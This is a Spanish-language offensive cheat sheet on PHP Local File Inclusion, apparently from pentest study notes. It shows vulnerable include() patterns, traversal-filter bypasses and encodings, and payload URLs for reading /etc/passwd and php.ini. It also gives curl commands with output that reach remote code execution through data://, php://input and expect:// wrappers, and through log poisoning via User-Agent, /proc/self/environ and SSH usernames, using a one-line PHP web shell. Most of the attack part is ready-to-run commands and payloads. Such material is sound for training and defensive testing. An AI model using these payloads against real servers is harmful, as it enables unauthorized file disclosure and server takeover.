Skip to content

Local File Inclusion (LFI)

LFI ocurre cuando una aplicación web incluye dinámicamente un archivo local del servidor basándose en una entrada controlable por el usuario (típicamente un parámetro de URL), sin validar adecuadamente qué archivo se está solicitando. Esto permite a un atacante leer archivos arbitrarios del sistema y, en varios escenarios, escalar hasta ejecución remota de código (RCE).

c
http://<SERVER_IP>:<PORT>/index.php?language=/etc/passwd

Patrones de código vulnerable

Path traversal directo (el parámetro se pasa tal cual a include()):

php
include($_GET['language']);

Con un directorio base fijo (aún vulnerable si no se valida ../):

php
include("./languages/" . $_GET['language']);

Con un prefijo de nombre de archivo:

php
include("lang_" . $_GET['language']);

Con una extensión añadida al final:

php
include($_GET['language'] . ".php");

Bypasses básicos

Filtros de path traversal no recursivos

Uno de los filtros más básicos contra LFI es un filtro de búsqueda y reemplazo que simplemente elimina las subcadenas ../ para evitar el recorrido de directorios:

php
$language = str_replace('../', '', $_GET['language']);

Como el reemplazo no es recursivo, se puede evadir anidando la secuencia de forma que, al eliminarse ../ una vez, quede otra secuencia ../ válida:

c
http://<SERVER_IP>:<PORT>/index.php?language=....//....//....//....//etc/passwd

Codificación de caracteres

Si la aplicación bloquea literalmente / o . en la entrada, se puede codificar en URL-encoding (../%2e%2e%2f), lo que a menudo evade el filtro si este se aplica antes de decodificar la URL:

c
http://<SERVER_IP>:<PORT>/index.php?language=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64
  • Herramientas útiles para esta codificación: Burp Suite Decoder, o cualquier utilidad de codificación URL en línea.
  • También existe la doble codificación (%252e%252e%252f), útil cuando hay más de una capa de decodificación entre el filtro y el uso final del valor.

Rutas aprobadas (whitelist con regex débil)

php
if(preg_match('/^\.\/languages\/.+$/', $_GET['language'])) {
    include($_GET['language']);
} else {
    echo 'Illegal path specified!';
}

El regex solo exige que la cadena empiece con ./languages/, pero no impide que después contenga secuencias de traversal:

c
http://<SERVER_IP>:<PORT>/index.php?language=./languages/../../../../etc/passwd

Extensión añadida automáticamente

Truncamiento de ruta (Path Truncation)

En versiones antiguas de PHP (<5.3-5.4, dependiendo de configuración), el sistema de archivos truncaba rutas que excedían cierta longitud máxima, lo que permitía "desbordar" la extensión añadida repitiendo segmentos inocuos:

c
?language=non_existing_directory/../../../etc/passwd/./././. [repetir "./" ~2048 veces]
  • Técnica en gran parte obsoleta en sistemas modernos, pero vale la pena probarla en objetivos con PHP muy desactualizado.

Byte nulo (Null Byte)

En PHP < 5.3.4, se podía terminar el payload con un byte nulo (%00) para truncar la cadena antes de que se concatenara la extensión:

c
/etc/passwd%00

Esto hacía que, aunque el código añadiera .php al final (/etc/passwd%00.php), la ruta real usada por el sistema de archivos subyacente fuera solo /etc/passwd, ya que el byte nulo termina la cadena en C (el lenguaje en que está escrito el intérprete de PHP).

  • Al igual que el truncamiento de ruta, esta técnica solo funciona contra instalaciones de PHP muy antiguas y sin parchear.

PHP Wrappers y Filtros

PHP ofrece "wrappers" (envoltorios) que permiten tratar distintos protocolos/fuentes de datos como si fueran archivos locales al pasarlos a funciones como include(). Esto amplía enormemente el impacto de un LFI, permitiendo desde lectura de código fuente hasta RCE directa.

Filtros de conversión (php://filter)

c
php://
php://filter/

Existen cuatro tipos de filtros: de cadena, de conversión, de compresión y de cifrado. El más relevante para LFI es el filtro de conversión convert.base64-encode, ya que permite leer el código fuente de archivos PHP sin que el servidor los ejecute (algo que un include() normal haría, mostrando solo el resultado renderizado en vez del código):

c
php://filter/read=convert.base64-encode/resource=config
php://filter/convert.base64-encode/resource=config
  • La forma read=convert.base64-encode es la más confiable, ya que especifica explícitamente la operación (read); la forma sin read= a veces no funciona correctamente según la versión de PHP.
c
❯ curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=config"
c
❯ echo 'PD9waHAK...SNIP...KICB9Ciov' | base64 -d

Otros filtros de conversión útiles:

c
php://filter/read=string.rot13/resource=<archivo>

Comprobar configuraciones peligrosas de PHP vía php.ini

c
❯ curl "http://<SERVER_IP>:<PORT>/index.php?language=php://filter/read=convert.base64-encode/resource=../../../../etc/php/7.4/apache2/php.ini"
c
❯ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep allow_url_include

allow_url_include = On
  • allow_url_include = On es el requisito indispensable para poder usar wrappers remotos (http://, ftp://) y lograr Remote File Inclusion (ver rfi.md).
c
❯ echo 'W1BIUF0KCjs7Ozs7Ozs7O...SNIP...4KO2ZmaS5wcmVsb2FkPQo=' | base64 -d | grep expect

extension=expect
  • La presencia de la extensión expect habilita el wrapper expect:// (ver más abajo), otro vector directo a RCE.

RCE con data:// (sin necesidad de allow_url_include, solo allow_url_fopen)

Codificar un webshell simple en base64:

c
❯ echo '<?php system($_GET["cmd"]); ?>' | base64

PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8+Cg==

Pasar el contenido codificado directamente como un "archivo" vía el wrapper data://:

c
❯ curl -s 'http://<SERVER_IP>:<PORT>/index.php?language=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSk7ID8%2BCg%3D%3D&cmd=id' | grep uid

uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • data://text/plain;base64,<payload> : el navegador/servidor interpreta el contenido después de la coma como el "archivo" a incluir — PHP lo ejecuta como si fuera un script PHP real.

Variante sin base64, con el código PHP directamente en la URL (útil cuando el sistema bloquea/detecta la firma de base64):

c
data://text/plain,<?php system($_GET['cmd']); ?>

RCE con php://input

Envía el código PHP en el cuerpo de una petición POST, en vez de en la URL — útil para evadir WAFs que solo inspeccionan parámetros GET:

c
❯ curl -s -X POST --data '<?php system($_GET["cmd"]); ?>' "http://<SERVER_IP>:<PORT>/index.php?language=php://input&cmd=id" | grep uid

uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • Requiere que la directiva allow_url_include esté habilitada (a diferencia de data://, que solo necesita allow_url_fopen, activado por defecto en la mayoría de instalaciones).

RCE con expect://

Si la extensión expect está instalada, este wrapper ejecuta comandos del sistema directamente, sin necesidad de inyectar código PHP:

c
❯ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=expect://id"

uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • expect no viene instalado por defecto en la mayoría de distribuciones — su presencia es poco común pero, cuando existe, es el vector más directo de todos.

zip:// — LFI a RCE vía archivo ZIP

c
zip://<archivo.zip>#<archivo interno>
  • Permite incluir un archivo específico dentro de un ZIP subido previamente al servidor (ver lfi_file_uploads.md para el flujo completo de explotación).

glob:// — Listado de archivos con comodines

c
glob:///var/www/html/*
  • Menos usado para RCE directa, pero útil para enumerar archivos en un directorio cuando no se conoce el nombre exacto de un archivo a incluir.

Referencias de wrappers

Log Poisoning — LFI a RCE sin subir archivos

Cuando no es posible subir un archivo directamente (ver lfi_file_uploads.md) ni usar los wrappers data:///php://input (por ejemplo, si allow_url_include está deshabilitado y no hay extensión expect), se puede "envenenar" un archivo de log del servidor con código PHP, y luego incluir ese log vía LFI para que se ejecute.

Envenenamiento del log de Apache (vía User-Agent)

El log de acceso de Apache registra la cabecera User-Agent de cada petición tal cual la envía el cliente. Si se envía un payload PHP como User-Agent, queda escrito textualmente en el log:

c
❯ curl -s "http://<SERVER_IP>:<PORT>/" -A "<?php system(\$_GET['cmd']); ?>"

Luego se incluye el log vía LFI para ejecutar el código recién inyectado:

c
❯ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=../../../../var/log/apache2/access.log&cmd=id"
  • La ruta exacta del log varía según la distribución (/var/log/apache2/access.log en Debian/Ubuntu, /var/log/httpd/access_log en RHEL/CentOS) — confirmar con la configuración obtenida previamente (apache2.conf/envvars).

Envenenamiento vía /proc/self/environ

Alternativa cuando no hay acceso a los logs, pero sí se puede leer /proc/self/environ (que contiene las variables de entorno del proceso, incluyendo cabeceras HTTP en algunas configuraciones de Apache con mod_cgi):

c
❯ curl -s "http://<SERVER_IP>:<PORT>/" -A "<?php system(\$_GET['cmd']); ?>"
❯ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=/proc/self/environ&cmd=id"
  • Técnica menos confiable en configuraciones modernas (requiere mod_cgi, poco común hoy en día), pero vale la pena probarla como alternativa a los logs.

Envenenamiento de logs de SSH

Si el servidor SSH es alcanzable (incluso sin credenciales válidas) y su log es legible vía LFI, se puede inyectar PHP en el campo de usuario durante un intento de login fallido:

c
❯ ssh '<?php system($_GET["cmd"]); ?>'@<SERVER_IP>

El intento de login (que fallará) queda registrado en el log de autenticación:

c
❯ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=../../../../var/log/auth.log&cmd=id"
  • Ruta típica en Debian/Ubuntu: /var/log/auth.log. En RHEL/CentOS: /var/log/secure.
  • Requiere permisos de lectura sobre el log de auth, que suele estar más restringido que el log de Apache — probar solo si el envenenamiento vía User-Agent no es viable.

Log Poisoning en Windows (XAMPP)

La técnica es idéntica a la vista en Linux (envenenar vía User-Agent, incluir el log resultante vía LFI), pero la ruta del log cambia según el stack específico instalado. En un servidor Windows con XAMPP (una distribución empaquetada de Apache/MySQL/PHP muy común en entornos de desarrollo, y a veces encontrada también en producción por descuido), el log de acceso de Apache se ubica en:

c
C:\xampp\apache\logs\access.log

El payload de envenenamiento es el mismo (enviar el snippet PHP como User-Agent), y la inclusión vía LFI apunta a esta ruta específica en vez de la ruta Linux estándar:

c
❯ curl -s "http://<SERVER_IP>:<PORT>/index.php?language=../../../../xampp/apache/logs/access.log&cmd=whoami"
  • El número de ../ necesarios depende de la profundidad del directorio de instalación de la aplicación vulnerable dentro de C:\xampp\htdocs\